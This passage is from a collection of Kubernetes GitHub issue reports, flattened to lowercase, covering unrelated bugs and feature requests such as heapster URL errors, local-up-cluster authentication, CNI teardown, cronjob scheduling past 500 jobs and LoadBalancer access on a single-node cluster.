address which does not exist because the machine is not configured for ipv6.\r \r because of the loopbackhostport function bahaves based on the interfaces configured, test will fail if machine is not really configured with ipv6. need to rewrite the testcase to handle such situation.\r \r   what you expected to happen  :\r testcase should pass\r

please publish kubectl to  chocolatey  https://chocolatey.org/  to make it easier for windows users to install.

hi all,  my setup:  k8s v1.3.0 heapster v1.1.0  hpa complains that it cannot unmarshal heapster's response.  failedcomputereplicas   failed to get cpu utilization: failed to get cpu consumption and request: failed to unmarshall heapster response: invalid character 'k' looking for beginning of value  did a little debugging in the metrics_client.go and found out that the url that the hpa is hitting could be wrong. it hits this url which seems off: https://my_ip/api/v1/proxy/namespaces/kube-system/services/http:heapster:/apis/metrics/v1alpha1/namespaces/my_ns/pods?labelselector=app=kong  this logs an error in the controller manager \ no endpoints available for service \\\ http:heapster:\\\ \   if i modify the url to look like the one below, things work.  https://my_ip/api/v1/proxy/namespaces/kube-system/services/heapster:80/apis/metrics/v1alpha1/namespaces/my_ns/pods?labelselector=app=kong  what am i missing? any pointers?  also is there any way to configure k8s to use a specific heapster namespace and port? i see everything defaulted to kube-system and port \ \   thanks, sudeep

kubeadm is new and nothing else in kubernetes depends on it. it should have gone into a separate repository.   24343   we need to figure out how to build releases from multiple repos, anyway: https://github.com/kubernetes/release/issues/3  i understand we wanted to move quickly and this was done for expedience, but productivity in the kubernetes repo is a zero sum game.  cc @jbeda @mikedanese @roberthbailey @lukemarsden @kubernetes/sig-cluster-lifecycle

found this while debugging an issue\r \r kube-proxy depends on the status field of loadbalancer service to setup iptables rules. but servicecontroller sometimes failed to update status due to various reasons: \r the one i saw is due to update conflict.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/servicecontroller.go l330\r in this case, servicecontroller gives up immediately. \r \r but service status in cache has already been altered: https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/servicecontroller.go l361\r \r then the next round of service update, servicecontroller will skip\r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/servicecontroller.go l305\r \r \r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r searched for:\r \r  is:issue is:open local-up-cluster  error: you must be logged in to the server  the server has asked for the client to provide credentials   \r \r i did not find anything relevant. \r \r ---\r \r   is this a bug report or feature request?    choose one : \r bug report \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.3557+05c2a0825e39be-dirty\ , gitcommit:\ 05c2a0825e39beee3de7e7bb1b49d8083ef90d65\ , gittreestate:\ dirty\ , builddate:\ 2017-01-20t01:19:49z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.3557+05c2a0825e39be\ , gitcommit:\ 05c2a0825e39beee3de7e7bb1b49d8083ef90d65\ , gittreestate:\ clean\ , builddate:\ 2017-01-19t18:10:47z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r local laptop  mac os 10.11.06\r -   cloud provider or hardware configuration  :\r virtualbox vagrant \r -   os    e.g. from /etc/os-release :\r centos7.2 in vagrant vm\r -   kernel    e.g.  uname -a  :\r linux k8s-env 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r after running hack-local-up-cluster.sh the script prints the following \r \r    \r   export kubernetes_provider=local\r \r   cluster/kubectl.sh config set-cluster local --server=https://localhost:6443 --certificate-authority=/var/run/kubernetes/apiserver.crt\r   cluster/kubectl.sh config set-credentials myself --username=admin --password=admin\r   cluster/kubectl.sh config set-context local --cluster=local --user=myself\r   cluster/kubectl.sh config use-context local\r   cluster/kubectl.sh\r    \r \r running these results in an authentication error \r \r    \r  vagrant@k8s-env kubernetes $\r  vagrant@k8s-env kubernetes $   export kubernetes_provider=local\r  vagrant@k8s-env kubernetes $\r  vagrant@k8s-env kubernetes $   cluster/kubectl.sh config set-cluster local --server=https://localhost:6443 --certificate-authority=/var/run/kubernetes/apiserver.crt\r cluster \ local\  set.\r  vagrant@k8s-env kubernetes $   cluster/kubectl.sh config set-credentials myself --username=admin --password=admin\r user \ myself\  set.\r  vagrant@k8s-env kubernetes $   cluster/kubectl.sh config set-context local --cluster=local --user=myself\r context \ local\  set.\r  vagrant@k8s-env kubernetes $   cluster/kubectl.sh config use-context local\r switched to context \ local\ .\r  vagrant@k8s-env kubernetes $   cluster/kubectl.sh cluster-info\r error: you must be logged in to the server  the server has asked for the client to provide credentials \r     \r \r   what you expected to happen  :\r \r i would have expected to authenticate with the api server. \r \r   how to reproduce it    as minimally and precisely as possible :\r \r go over the same steps \r \r   anything else do we need to know  :\r \r \r in the problematic case, the ~/.kube/config file looks like the following\r \r    \r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /var/run/kubernetes/apiserver.crt\r     server: https://localhost:6443\r   name: local\r contexts:\r - context:\r     cluster: local\r     user: myself\r   name: local\r current-context: local\r kind: config\r preferences: {}\r users:\r - name: myself\r   user:\r     password: admin\r     username: admin\r    \r \r \r \r setting  allow_any_token is one workaround. \r    \r export allow_any_token=true\r    \r with this env var the cluster/kubectl.sh command can talk to the api server. \r \r i recommend to start from a clean slate to reproduce the issue. \r \r once the authentication succeeds with setting the allow_any_token=true, i have tried to go back and restart the local-up-cluster with  allow_any_token=false again. in the second attempt the authentication succeeded. so i see the problem only at the first attempt.

kubernetes version    use  kubectl version  :\r 1.6.2 built from 1.6 branch at 85b9c963272248c0b88d06664e88eb3ef1645dfb\r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : ubuntu xenial\r -   kernel    e.g.  uname -a  : linux fab7-compute-1 4.4.0-70-generic  91-ubuntu smp wed mar 22 12:47:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r when using cni, kubelet gets confused when pods have hostnetwork=true.\r kubelet displays errors such as:\r \r     stoppodsandbox \ 3fa9fc1247bed768521abe54f730a71a7412f17e8026975902e99f56ea4fd73c\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ kube-proxy-cts6b_kube-system\  network: cni failed to retrieve network namespace path: error: no such container: 3fa9fc1247bed768521abe54f730a71a7412f17e8026975902e99f56ea4fd73c\r \r deleting these pods will result in the pod hung in the terminating state.\r \r it appears that the tear down does not notice that cni should not be invoked when hostnetwork=true but attempts to do so anyway.\r \r   how to reproduce it    as minimally and precisely as possible :\r create a pod, daemonset, or deployment with hostnetwork set to true in pod spec.\r

feature request    \r  \r as a kubernetes developer, i'd like it if the kubelet functionality  was separated into different packages, so as not to create large dependency debt if it is imported externally.\r \r overall there are roughly 10x more top level go files found in these classes then in the other typical top level packages in kuberentes... details below.\r \r     details     \r several utilities are not importable without importing the entire  pkg/kubelet , this makes it hard to externalize constants. \r \r    \r ➜  kubernetes git: explicit_heartbeat  ✗ ls pkg/kubelet  | grep go  | wc -l\r       34\r    \r \r this is quite large, compared with other top level packages, these two are pretty big:\r    \r kubectl      55 top level go files\r kubelet 34 top level go files\r    \r \r fortunately, the rest of the packages are much more modularized, out of the 30 top level packages, the average   of top level files is around 6 or so...  with the max   being 16 .  so, kubectl and kubelet are really the only folders that desperately need package triagings.\r \r   environment  \r \r master\r

cluster upgrade should maintain a functioning cluster  feature:clusterupgrade \r \r connection refused in version check\r \r  job failure  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster/7 k8sio-upgrade-featureupgrade-k8sio-cluster-upgrade-should-maintain-a-functioning-cluster-featureclusterupgrade \r \r  history  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gke-cvm-upgrade-cluster&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20upgrade%5c%20%5c%5bfeature%5c%3aupgrade%5c%5d%5c%20%5c%5bk8s%5c.io%5c%5d%5c%20cluster%5c%20upgrade%5c%20should%5c%20maintain%5c%20a%5c%20functioning%5c%20cluster%5c%20%5c%5bfeature%5c%3aclusterupgrade%5c%5d \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:122\r expected error:\r     < errors.errorstring | 0xc4201ca640>: {\r         s: \ checkmasterversion   couldn't get the master version: get https://35.188.215.192/version: dial tcp 35.188.215.192:443: getsockopt: connection refused\ ,\r     }\r     checkmasterversion   couldn't get the master version: get https://35.188.215.192/version: dial tcp 35.188.215.192:443: getsockopt: connection refused\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:108\r    \r \r  /assign @bowei \r \r see also  44563\r \r

in my environment, because the insecure port 8080 of kube-apiserver   expose all the api  . for security reasons, the port is disabled. but lead to   health-check and pprof  can't work  . can we consider   opening a separate port    like other component only for health-check and pprof， metrics？\r \r  /cc @caesarxuchao @deads2k @lavalamp @liggitt @mml

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r add unit and e2e tests for pr https://github.com/kubernetes/kubernetes/pull/50031\r \r  /assign

 \r   what happened  :\r \r i'm using kubernetes 1.8.7 installed on aws with kops. every now and again one of my nodes will enter a state where it becomes unable to measure overlay fs usage without causing extremely high io wait. when this happens the host enters a loop which looks like this:\r 1. host load becomes very high and all workloads are affected for a few minutes\r 2. eventually the  du  processes start to time out with messages as shown below\r 3. the host load recovers\r 4. after a little while  between 2-20 minutes  it returns to step 1 and starts trying to run  du  again\r \r once this starts, it keeps repeating forever until i drain and replace the node.\r \r the same symptoms are also described by another user in this comment:\r https://github.com/kubernetes/kubernetes/issues/23255 issuecomment-288351040\r however i can't find an open issue specifically for this, which is why i'm logging one.\r \r   anything else we need to know?  :\r \r the kubelet log is full of messages like this\r    \r fs.go:564  killing cmd  nice -n 19 du -s /var/lib/docker/overlay/bde4e4b217acb453858c9eed37cf088f3e01c64d56e8df94c7a4b4b4869e394f  due to timeout 2m0s \r fshandler.go:121  failed to collect filesystem stats - rootdiskerr: du command failed on /var/lib/docker/overlay/4e549e6b32509edf87ccc3c120484b88d26d79fa8a205ea64d3cf45d7f225672 with output stdout: , stderr:  - signal: killed, rootinodeerr: <nil>, extradiskerr: <nil>\r fshandler.go:131  du and find on following dirs took 2m3.835260669s:  /var/lib/docker/overlay/4e549e6b32509edf87ccc3c120484b88d26d79fa8a205ea64d3cf45d7f225672 /var/lib/docker/containers/1ba1422e4d78656cf9d3c1eee4e32511ada570369dadda7ff48733b80f330e1f \r fshandler.go:121  failed to collect filesystem stats - rootdiskerr: du command failed on /var/lib/docker/overlay/bde4e4b217acb453858c9eed37cf088f3e01c64d56e8df94c7a4b4b4869e394f with output stdout: , stderr:  - signal: killed, rootinodeerr: <nil>, extradiskerr: <nil>\r fshandler.go:131  du and find on following dirs took 2m2.80314731s:  /var/lib/docker/overlay/bde4e4b217acb453858c9eed37cf088f3e01c64d56e8df94c7a4b4b4869e394f /var/lib/docker/containers/73944dfc818609292fee83e86e1fcf1c89b92cbae00b0e250911027894de8a04 \r fs.go:564  killing cmd  nice -n 19 du -s /var/lib/docker/overlay/908e2f4855747319fd0451a4f62312eef69353239a1c4d4683f33032f42d31b4  due to timeout 2m0s \r fshandler.go:121  failed to collect filesystem stats - rootdiskerr: du command failed on /var/lib/docker/overlay/908e2f4855747319fd0451a4f62312eef69353239a1c4d4683f33032f42d31b4 with output stdout: , stderr:  - signal: killed, rootinodeerr: <nil>, extradiskerr: <nil>\r fshandler.go:131  du and find on following dirs took 2m1.195693546s:  /var/lib/docker/overlay/908e2f4855747319fd0451a4f62312eef69353239a1c4d4683f33032f42d31b4 /var/lib/docker/containers/7ecde624cd22d06af3b21c36a829d97b6e7f7a11e3cfa007fd72ada8fcf57d2a \r summary.go:92  failed to get system container stats for \ /system.slice/kubelet.service\ : failed to get cgroup stats for \ /system.slice/kubelet.service\ : failed to get container info for \ /system.slice/kubelet.service\ : unknown container \ /system.slice/kubelet.service\ \r summary.go:92  failed to get system container stats for \ /system.slice/docker.service\ : failed to get cgroup stats for \ /system.slice/docker.service\ : failed to get container info for \ /system.slice/docker.service\ : unknown container \ /system.slice/docker.service\ \r fs.go:564  killing cmd  nice -n 19 du -s /var/lib/docker/overlay/927e65038a4aeb39c46461ed7ee2445495b2dba11dcb790bbe315e267da7ebe6  due to timeout 2m0s \r fshandler.go:121  failed to collect filesystem stats - rootdiskerr: du command failed on /var/lib/docker/overlay/927e65038a4aeb39c46461ed7ee2445495b2dba11dcb790bbe315e267da7ebe6 with output stdout: , stderr:  - signal: killed, rootinodeerr: <nil>, extradiskerr: <nil>\r fshandler.go:131  du and find on following dirs took 2m2.90814158s:  /var/lib/docker/overlay/927e65038a4aeb39c46461ed7ee2445495b2dba11dcb790bbe315e267da7ebe6 /var/lib/docker/containers/30fc57f794d5e957d6586802ff2a144a604551ae058e132c8bec875e0306873e \r    \r \r if i manually run  du  against one of the overlay directories that timed out in the log, it returns a result almost immediately\r    \r   du -s bde4e4b217acb453858c9eed37cf088f3e01c64d56e8df94c7a4b4b4869e394f\r 824240\tbde4e4b217acb453858c9eed37cf088f3e01c64d56e8df94c7a4b4b4869e394f\r    \r \r any suggestions about how to debug this are appreciated. i've tried to figure out which container filesystems are specifically causing the problem, but i'm not sure how to approach that, since i can't find any one particular  du  command line that hangs for a long time.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.7\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian jessie\r - kernel  e.g.  uname -a  : 4.4.115-k8s  1 smp thu feb 8 15:37:40 utc 2018 x86_64 gnu/linux\r - install tools: kops\r - others:\r

is this a bug report or feature request?  :\r >  \r   what happened  :\r kubenet errors if an ipv4 address is not assigned. \r \r   what you expected to happen  :\r kubenet should not throw an error if an ipv6 address as assigned instead. \r \r   how to reproduce it  as minimally and precisely as possible   :\r just run with --network-plugin=kubenet and assign only an ipv-6 address to a pod  no ipv4 .\r \r   anything else we need to know?  :\r the problem can be easily traced to  the setup   func kubenet_linux.go. in particular, this code and the code that follows it:\r \tif res.ip4 == nil {\r \t\treturn fmt.errorf \ cni plugin reported no ipv4 address for container %v.\ , id \r \t}\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2\r - cloud provider or hardware configuration: local vagrant dev box\r - os  e.g. from /etc/os-release : name=\ ubuntu\  version=\ 18.04.1 lts  bionic beaver \ \r - kernel  e.g.  uname -a  : 4.9.17-040917-generic\r - install tools: vagrant\r - others: n/a\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >   kind feature\r \r \r   what happened  :\r is there a way to encrypt communication between the pod's inside the kubernetes cluster. i.e. using 443 instead of port 80\r \r   what you expected to happen  :\r communication inside the kubenernetes cluster should happen in an encrypted way\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a kub cluster with more than 1 pods and associated microservices. they by default with interact using port 80\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.11.2\r - cloud provider or hardware configuration:microsoft azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:microsoft azure cli\r - others:\r

which jobs are failing  :\r _w/ testgrid links_\r     gce-cos-master-default   https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-default   a.k.a.  ci-kubernetes-e2e-gci-gce  \r     gce-cos-1.14-default   https://testgrid.k8s.io/sig-release-1.14-blocking gce-cos-1.14-default   a.k.a.  ci-kubernetes-e2e-gce-cos-k8sbeta-default  \r \r these jobs are release-blocking; at the moment of writing this they're flaking ~70%-80% of the time  not solely because of these tests , making it really hard to extract ci signal and make release blocking decisions based on them.\r \r   which test s  are failing  :\r _the following numbers are estimated of ~ the last 2 weeks' worth of builds_\r \r | test |   failures in  gce-cos-master-default  | % failures in  gce-cos-master-default  |   failures in  gce-cos-1.14-default  | % failures in  gce-cos-1.14-default  |\r |---|---|---|---|---|\r   sig-auth  advanced audit  disabledforlargeclusters  should audit api calls to create, get, update, patch, delete, list, watch configmaps.  | 24 | 5.44 | 10 | 3.04\r   sig-auth  advanced audit  disabledforlargeclusters  should audit api calls to get a pod with unauthorized user.  | 17 | 3.85 | 20 | 6.08\r   sig-auth  advanced audit  disabledforlargeclusters  should audit api calls to create, get, update, patch, delete, list, watch pods.  | 24 | 5.44 | 26 | 7.90\r   sig-auth  advanced audit  disabledforlargeclusters  should audit api calls to create, get, update, patch, delete, list, watch secrets.  | 25 | 5.67 | 22 | 6.69\r   sig-auth  advanced audit  disabledforlargeclusters  should audit api calls to create, get, update, patch, delete, list, watch deployments.  | 23 | 5.22 | 21 | 6.38\r   sig-auth  advanced audit  disabledforlargeclusters  should list pods as impersonated user.  | 31 | 7.03 | 13 | 3.95\r   sig-auth  advanced audit  disabledforlargeclusters  should audit api calls to create and delete custom resource definition.  | 28 | 6.35 | 14 | 4.26\r \r   reason for failure  :\r flakes seem to consistently boil down to timeouts:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/audit.go:66\r after 5m0s failed to observe audit events\r expected error:\r     < errors.errorstring | 0xc0002caa60>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/audit.go:745\r    \r \r   though the individual test flake rates are low compared to that of the job they're part of,  advanced audit   tests:\r     flaked 31% of the time, contributing to about 45% of flakes in  ci-kubernetes-e2e-gci-gce \r     flaked about 33% of the time, contributing to about 48% of flakes in  ci-kubernetes-e2e-gce-cos-k8sbeta-default \r \r   main questions  \r   what can be done to stabilise these tests?\r   is there a chance that flakes in these tests hint at any instability in the code they cover? some examples could be race conditions, operations that need retries etc.\r \r   bonus question\r   how much of what's covered in these e2e tests is covered elsewhere  unit tests/presubmits etc. ? hypothetically speaking, what  if anything  could be _safely_ removed from these jobs without losing coverage?\r \r   anything else we need to know  :\r   part of https://github.com/kubernetes/kubernetes/issues/74960\r   triage links for up-to-date stats on flakiness of these tests\r      master  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-cos-k8sbeta-default&test=advanced%20audit \r      1.14  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gce-cos-k8sbeta-default&test=advanced%20audit \r \r cc @smourapina @alejandrox1 @kacole2 @mortent \r \r   / /area deflake

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r     when the number of jobs exceeds 500, cronjob cannot schedule, bug of pager.list \r   what you expected to happen  :\r     when the number of jobs exceeds 500, cronjobs are scheduled normally\r   how to reproduce it  as minimally and precisely as possible   :\r     create at least 501 jobs and one cronjob to see if cronjobs can be scheduled\r   anything else we need to know?  :\r     internalversion.list convert to batchv1.joblist error\r     the following is the error log：  \r   \r    \r may 05 17:28:16 qa-cpu003.aibee.cn kube-controller-manager 40548 : e0505 17:28:16.100551   40548 cronjob_controller.go:117  expected type  batchv1.joblist, got type  internalversion.list\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r     v1.14\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r   \r    \r linux qa-cpu001.aibee.cn 4.15.0-43-generic  46-ubuntu smp thu dec 6 14:45:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r   ansible and kube binary\r - network plugin and version  if this is a network-related bug :\r   calico\r - others:\r

for testing i created kubernetes on single node by using virtualbox.\r i created one pod listening on port 4646, then i created loadbalancer for that pod.\r \r yaml file for pod:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: simple-app\r   labels:\r     app: simple-app\r spec:\r   containers:\r     ...\r     name: test-flask-app\r     ports:\r     - containerport: 4646\r    \r yaml file for loadbalancer:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: simple-app-lb\r spec:\r   type: loadbalancer\r   ports:\r   - port: 88\r     protocol: tcp\r     targetport: 4646\r   selector:\r     app: simple-app\r    \r output of command  kubectl get nodes -o wide :\r    \r name     status   roles    age   version   internal-ip   external-ip   os-image             kernel-version      container-runtime\r server   ready    master   20h   v1.14.1   10.0.2.8      <none>        ubuntu 18.04.2 lts   4.15.0-48-generic   docker://18.6.2\r    \r output of command  kubectl get all \r    \r name             ready   status    restarts   age\r pod/simple-app   1/1     running   5          20h\r \r name                    type           cluster-ip     external-ip   port s         age\r service/kubernetes      clusterip      10.96.0.1      <none>        443/tcp        20h\r service/simple-app-lb   loadbalancer   10.98.241.39   <pending>     88:32319/tcp   20h\r    \r on other virtual machine that is located in the same network i'd like to get an access to loadbalancer by ip address of machine with kubernetes and by port 88. if i run the next command i get the output below:\r    \r sergey@server2:~$ curl 10.0.2.8:88\r curl:  7  failed to connect to 10.0.2.8 port 88: connection refused\r    \r but if i use port 32319 i get the access:\r    \r sergey@server2:~$ curl 10.0.2.8:32319\r {\ msg\ :\ superuser, hello from geoserver\ }\r    \r also i can get the access if i am on the machine with kubernetes:\r    \r sergey@server:~$ curl 10.98.241.39:88\r {\ msg\ :\ superuser, hello from geoserver\ }\r    \r what reasons cause that i can't get the access by external-ip and port?

previously, the coreos kube-up keeps  a private copy of master components and addon manifests  https://github.com/kubernetes/kubernetes/tree/master/cluster/gce/coreos/kube-manifests  to enable we have a working cluster to begin with. however this is not very ideal to keep the manifests up-to-date.  as salt/kube-up is still being heavily used in testing and spinning up the cluster. we should take a time to revisit how to handle this better. maybe we can resue some functions in the trusty's  configure-helper.sh  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/trusty/configure-helper.sh  to convert the salt files on the fly.   or we just make salt to run on coreos in a container.  cc @kubernetes/sig-node @euank @sjpotter

https://github.com/kubernetes/test-infra/pull/122 changed wait for minimum pods ready to 8. however, we need to enhance the e2e go code to also exclude static pods.  from @bprashanth : these static pods will have the annotation below which can be used to filter them out.   kubernetes.io/config.source: file

patching with an invalid json input returns a raw json error.  we need to wrap it with badrequest  probably .      e0712 22:54:23.340041   39669 errors.go:63  apiserver received an error that is not an unversioned.status:  pos 190 : json: expect char '\ ' but got char '1'

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/31704/kubernetes-pull-build-test-e2e-gce/58947/  failed:  k8s.io  resourcequota should create a resourcequota and capture the life of a secret. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:133 expected error:     < errors.errorstring | 0xc82049f2e0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:123      happened on a presubmit run in  31704.  previous issues for this test:  32053

federation system started via kubefed is broken on master\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2720+8623fdf0b106e1\ , gitcommit:\ 8623fdf0b106e1c826cffb2abc20d4e115045b8d\ , gittreestate:\ clean\ , builddate:\ 2017-01-03t18:53:22z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2693+85bf256709d4c0\ , gitcommit:\ 85bf256709d4c0d56aabe40ee5b0ccf9017aeceb\ , gittreestate:\ clean\ , builddate:\ 2017-01-03t16:28:57z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : \r -   kernel    e.g.  uname -a  :\r -   install tools  : kube-up.sh\r -   others  :\r \r \r   what happened  :\r \r as part of - https://github.com/kubernetes/kubernetes/pull/38191 change the api-server options were moved out from genericapiserver package. one of the options moved was  -  serviceclusteriprange   but when using  kubefed  to start a federation plane it still starts with following option:\r \r    \r  containers:\r   - command:\r     - /hyperkube\r     - federation-apiserver\r     - --bind-address=0.0.0.0\r     - --etcd-servers=http://localhost:2379\r     - --service-cluster-ip-range=10.0.0.0/16\r    \r \r which obviously results in pod never coming up because that option no longer exists there. \r \r i am working on fixing it. cc @sttts @madhusudancs \r

@kubernetes/sig-cluster-ops- \r  <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r attempt to deploy the rout53 add on into the kubernetes cluster created by kops. \r \r https://github.com/kubernetes/kops/tree/master/addons/route53-mapper  \r deploying version 1.3\r \r \ no nodes are available that match all of the following predicates:: matchnodeselector  3 , podtoleratesnodetaints  3 .\    \r \r route53 addon specifically says it wants to be deployed to master nodes. which should be fine, since it also contains the toleration for allowing a deployment on master nodes.  \r \r so, i decided to see if i could get it to work by following the many posts on the internet about tolerations...   in the end, i figured i would try the fool proof method of just removing all taints from my master nodes, to see if i could get them to deploy, and then work backward.   \r \r here is where the bug comes in:  no taints on any nodes, and the nodeselector was used to match a single label, so that i know exactly which machine it should deploy on. \r \r i still get:   no nodes are available that match all of the following predicates:: matchnodeselector  5 , podtoleratesnodetaints  3 . \r \r there are 6 nodes in the cluster, where 3 of them are master nodes.  \r \r   what you expected to happen  :\r    i expected the addon to deploy successfully to the single master node that matched the label, and had all the taints removed. \r \r   how to reproduce it  as minimally and precisely as possible   :  \r \r installed cluster with kops into aws with three master nodes, and 3 standard minion nodes.   this is what i did, so i am just documenting this here so that my setup is known   \r \r removed all taints from master nodes:  \r deploy the following config \r    \r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: route53-mapper\r   namespace: kube-system\r   labels:\r     app: route53-mapper\r     k8s-addon: route53-mapper.addons.k8s.io\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: route53-mapper\r   template:\r     metadata:\r       labels:\r         app: route53-mapper\r     spec:\r       nodeselector:\r         app: \ route53-mapper\ \r       containers:\r         - image: quay.io/molecule/route53-kubernetes:v1.3.0\r           name: route53-mapper\r    \r   anything else we need to know?  :\r    \r brian$ kubectl describe nodes | grep -a10 -b10 taints\r name:\t\t\tip-172-20-100-165.us-west-2.compute.internal\r role:\t\t\tnode\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=m3.large\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-west-2\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-west-2c\r \t\t\tkubernetes.io/hostname=ip-172-20-100-165.us-west-2.compute.internal\r \t\t\tkubernetes.io/role=node\r \t\t\tnode-role.kubernetes.io/node=\r taints:\t\t\t<none>\r creationtimestamp:\tfri, 23 jun 2017 17:06:06 -0400\r phase:\t\t\t\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tfalse \ttue, 27 jun 2017 13:47:08 -0400 \tfri, 23 jun 2017 17:06:05 -0400 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \ttue, 27 jun 2017 13:47:08 -0400 \tfri, 23 jun 2017 17:06:05 -0400 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \ttue, 27 jun 2017 13:47:08 -0400 \tfri, 23 jun 2017 17:06:05 -0400 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \ttue, 27 jun 2017 13:47:08 -0400 \tfri, 23 jun 2017 17:06:26 -0400 \tkubeletready \t\t\tkubelet is posting ready 